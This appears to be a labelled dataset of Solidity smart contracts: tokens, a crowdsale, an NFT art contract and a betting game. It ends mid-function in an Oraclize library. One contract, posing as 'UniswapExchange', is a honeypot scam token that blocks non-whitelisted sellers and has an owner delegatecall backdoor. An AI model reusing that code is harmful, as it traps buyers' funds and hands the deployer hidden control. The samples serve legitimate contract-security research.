event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
function transferBulk(address[] to, uint[] tokens) public;
function approveBulk(address[] spender, uint[] tokens) public;
}
pragma solidity ^0.4.24;
contract PluginInterface
{
function isPluginInterface() public pure returns (bool);
function onRemove() public;
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
)
external
payable;
function withdraw() public;
}
contract CuteCoinInterface is ERC20Interface
{
function mint(address target, uint256 mintedAmount) public;
function mintBulk(address[] target, uint256[] mintedAmount) external;
function burn(uint256 amount) external;
}
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
pragma solidity ^0.4.24;
interface TokenRecipientInterface
{
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
pragma solidity ^0.4.24;
interface TokenFallback
{
function tokenFallback(address _from, uint _value, bytes _data) external;
}
contract CuteCoin is CuteCoinInterface, Ownable
{
using SafeMath for uint;
constructor() public
{
symbol = "CUTE";
name = "Cute Coin";
decimals = 18;
}
uint _totalSupply;
mapping (address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
mapping (address => bool) operatorAddress;
function addOperator(address _operator) public onlyOwner
{
operatorAddress[_operator] = true;
}
function removeOperator(address _operator) public onlyOwner
{
delete(operatorAddress[_operator]);
}
modifier onlyOperator() {
require(operatorAddress[msg.sender] || msg.sender == owner);
_;
}
function withdrawEthFromBalance() external onlyOwner
{
owner.transfer(address(this).balance);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function () payable public
{
revert();
}
function mint(address target, uint256 mintedAmount) public onlyOperator
{
balances[target] = balances[target].add(mintedAmount);
_totalSupply = _totalSupply.add(mintedAmount);
emit Transfer(0, target, mintedAmount);
}
function mintBulk(address[] target, uint256[] mintedAmount) external onlyOperator
{
require(target.length == mintedAmount.length);
for (uint i = 0; i < target.length; i++)
{
mint(target[i], mintedAmount[i]);
}
}
function burn(uint256 amount) external
{
balances[msg.sender] = balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, 0, amount);
}
function totalSupply() public constant returns (uint)
{
return _totalSupply;
}
function balanceOf(address tokenOwner) public constant returns (uint balance)
{
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining)
{
return allowed[tokenOwner][spender];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
TokenRecipientInterface(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferBulk(address[] to, uint[] tokens) public
{
require(to.length == tokens.length);
for (uint i = 0; i < to.length; i++)
{
transfer(to[i], tokens[i]);
}
}
function approveBulk(address[] spender, uint[] tokens) public
{
require(spender.length == tokens.length);
for (uint i = 0; i < spender.length; i++)
{
approve(spender[i], tokens[i]);
}
}
function transfer(address _to, uint _value, bytes _data) external returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transferToContract(address _to, uint _value, bytes _data) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
TokenFallback receiver = TokenFallback(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transferToAddress(address _to, uint tokens, bytes _data) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[_to] = balances[_to].add(tokens);
emit Transfer(msg.sender, _to, tokens, _data);
return true;
}
function withdrawTokenFromBalance(ERC20Interface _tokenContract, address _withdrawToAddress)
external
onlyOperator
{
uint256 balance = _tokenContract.balanceOf(address(this));
_tokenContract.transfer(_withdrawToAddress, balance);
}
} | 1 | 4,926 |
pragma solidity ^0.4.21;
interface token {
function transfer(address receiver, uint amount) external;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
uint public starttime;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint weiCostOfEachToken,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = weiCostOfEachToken;
tokenReward = token(addressOfTokenUsedAsReward);
starttime = now;
}
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
if (now < (starttime + 1440 * 1 minutes))
{
tokenReward.transfer(msg.sender, (amount * 1000000000000000000) / (price * 65 / 100));
}
else if (now < (starttime + 4320 * 1 minutes))
{
tokenReward.transfer(msg.sender, (amount * 1000000000000000000) / (price * 75 / 100));
}
else if (now < (starttime + 10080 * 1 minutes))
{
tokenReward.transfer(msg.sender, (amount * 1000000000000000000) / (price * 85 / 100));
}
else if (now < (starttime + 30240 * 1 minutes))
{
tokenReward.transfer(msg.sender, (amount * 1000000000000000000) / (price * 90 / 100));
}
else
{
tokenReward.transfer(msg.sender, (amount * 1000000000000000000) / price);
}
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
emit GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
emit FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
emit FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 4,139 |
pragma solidity ^0.4.11;
contract hodlEthereum {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint constant partyTime = 1596067200;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
}
function party() {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
hodlers[msg.sender] = 0;
msg.sender.transfer(value);
Party(msg.sender, value);
}
} | 1 | 2,852 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 403 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract ArtAccessControl {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract ArtBase is ArtAccessControl {
event Create(address owner, uint256 artId, uint16 generator);
event Transfer(address from, address to, uint256 tokenId);
event Vote(uint16 candidate, uint256 voteCount, uint16 currentGenerator, uint256 currentGeneratorVoteCount);
event NewRecipient(address recipient, uint256 position);
event NewGenerator(uint256 position);
struct ArtToken {
uint64 birthTime;
uint16 generator;
}
ArtToken[] artpieces;
mapping (uint256 => address) public artIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public artIndexToApproved;
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
artIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete artIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function _createArt(
uint256 _generator,
address _owner
)
internal
returns (uint)
{
require(_generator == uint256(uint16(_generator)));
ArtToken memory _art = ArtToken({
birthTime: uint64(now),
generator: uint16(_generator)
});
uint256 newArtId = artpieces.push(_art) - 1;
require(newArtId == uint256(uint32(newArtId)));
Create(
_owner,
newArtId,
_art.generator
);
_transfer(0, _owner, newArtId);
return newArtId;
}
}
contract ERC721Metadata {
function getMetadata(uint256 _tokenId, string) public view returns (bytes32[4] buffer, uint256 count) {
if (_tokenId == 1) {
buffer[0] = "Hello World! :D";
count = 15;
} else if (_tokenId == 2) {
buffer[0] = "I would definitely choose a medi";
buffer[1] = "um length string.";
count = 49;
} else if (_tokenId == 3) {
buffer[0] = "Lorem ipsum dolor sit amet, mi e";
buffer[1] = "st accumsan dapibus augue lorem,";
buffer[2] = " tristique vestibulum id, libero";
buffer[3] = " suscipit varius sapien aliquam.";
count = 128;
}
}
}
contract ArtOwnership is ArtBase, ERC721 {
string public constant name = "Future of Trust 2018 Art Token";
string public constant symbol = "FoT2018";
ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function setMetadataAddress(address _contractAddress) public onlyCEO {
erc721Metadata = ERC721Metadata(_contractAddress);
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return artIndexToOwner[_tokenId] == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return artIndexToApproved[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
artIndexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return artpieces.length - 1;
}
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = artIndexToOwner[_tokenId];
require(owner != address(0));
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalCats = totalSupply();
uint256 resultIndex = 0;
uint256 catId;
for (catId = 1; catId <= totalCats; catId++) {
if (artIndexToOwner[catId] == _owner) {
result[resultIndex] = catId;
resultIndex++;
}
}
return result;
}
}
function _memcpy(uint _dest, uint _src, uint _len) private view {
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint256 count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ArtMinting is ArtOwnership {
uint256 public constant PROMO_CREATION_LIMIT = 300;
uint256 public promoCreatedCount;
function createPromoArt() external onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
promoCreatedCount++;
_createArt(curGenerator, cooAddress);
}
uint256[] public votes;
uint16 public curGenerator = 0;
uint16 public maxGenerators = 3;
function castVote(uint _generator) external {
require(_generator < votes.length);
votes[_generator] = votes[_generator] + 1;
if (votes[_generator] > votes[curGenerator]) {
curGenerator = uint16(_generator);
}
Vote(uint16(_generator), votes[_generator], curGenerator, votes[curGenerator]);
}
function addGenerator() external {
require(votes.length < maxGenerators);
uint _id = votes.push(0);
NewGenerator(_id);
}
}
contract ArtCore is ArtMinting {
function ArtCore() public {
paused = true;
ceoAddress = msg.sender;
cooAddress = msg.sender;
_createArt(0, address(0));
}
function() external payable {
require(
msg.sender == address(0)
);
}
function getArtToken(uint256 _id)
external
view
returns (
uint256 birthTime,
uint256 generator
) {
ArtToken storage art = artpieces[_id];
birthTime = uint256(art.birthTime);
generator = uint256(art.generator);
}
function unpause() public onlyCEO whenPaused {
super.unpause();
}
function withdrawBalance() external onlyCFO {
uint256 balance = this.balance;
cfoAddress.send(balance);
}
} | 0 | 2,071 |
pragma solidity ^0.4.18;
contract BlockchainBattleground {
address public owner;
address public owner2 = 0xc49D45ff52B1ABF1901B6c4f3D3e0615Ff85b9a3;
uint public matchCount;
Match private currentMatch;
bool matchPaidOff;
struct Gladiator {
string name;
uint totalAmount;
address[] backersList;
mapping(address => uint) amountPaid;
}
struct Match {
uint matchId;
uint creationTime;
uint durationTime;
string matchName;
Gladiator left;
Gladiator right;
}
function BlockchainBattleground() public payable {
owner = msg.sender;
matchCount = 0;
matchPaidOff = true;
createMatch("Bitcoin Cash", "Bitcoin", 7 days, "Which is the real Bitcoin?");
}
function createMatch(string leftName, string rightName, uint duration, string matchQuestion) public onlyOwner matchPaidOffModifier {
Gladiator memory leftGlad = Gladiator(leftName, 0, new address[](0));
Gladiator memory rightGlad = Gladiator(rightName, 0, new address[](0));
currentMatch = Match(matchCount, block.timestamp, duration, matchQuestion, leftGlad, rightGlad);
matchCount += 1;
matchPaidOff = false;
}
function payOff() public matchTimeOver {
Gladiator memory winnerGladiator;
uint winner;
if (currentMatch.left.totalAmount > currentMatch.right.totalAmount) {
winnerGladiator = currentMatch.left;
winner = 0;
}
else {
winnerGladiator = currentMatch.right;
winner = 1;
}
uint jackpot = (this.balance - winnerGladiator.totalAmount) * 96 / 100;
payWinningGladiator(winner, jackpot);
owner.transfer(this.balance / 2);
owner2.transfer(this.balance);
matchPaidOff = true;
}
function payWinningGladiator(uint winner, uint jackpot) private {
Gladiator winnerGlad = (winner == 0) ? currentMatch.left : currentMatch.right;
for (uint i = 0; i < winnerGlad.backersList.length; i++) {
address backerAddress = winnerGlad.backersList[i];
uint valueToPay = winnerGlad.amountPaid[backerAddress] + winnerGlad.amountPaid[backerAddress] * jackpot / winnerGlad.totalAmount;
backerAddress.transfer(valueToPay);
}
}
function payForYourGladiator(uint yourChoice) public payable matchTimeNotOver {
Gladiator currGlad = (yourChoice == 0) ? currentMatch.left : currentMatch.right;
if (currGlad.amountPaid[msg.sender] == 0) {
currGlad.backersList.push(msg.sender);
}
currGlad.amountPaid[msg.sender] += msg.value;
currGlad.totalAmount += msg.value;
}
function getMatchInfo() public view returns (string leftGladName,
string rightGladName,
uint leftGladAmount,
uint rightGladAmount,
string matchName,
uint creationTime,
uint durationTime,
bool matchPaidOffReturn,
uint blockTimestamp) {
return (currentMatch.left.name,
currentMatch.right.name,
currentMatch.left.totalAmount,
currentMatch.right.totalAmount,
currentMatch.matchName,
currentMatch.creationTime,
currentMatch.durationTime,
matchPaidOff,
block.timestamp);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier matchTimeOver() {
require(block.timestamp > currentMatch.creationTime + currentMatch.durationTime);
_;
}
modifier matchTimeNotOver() {
require(block.timestamp < currentMatch.creationTime + currentMatch.durationTime);
_;
}
modifier matchPaidOffModifier() {
require(matchPaidOff);
_;
}
} | 1 | 5,291 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
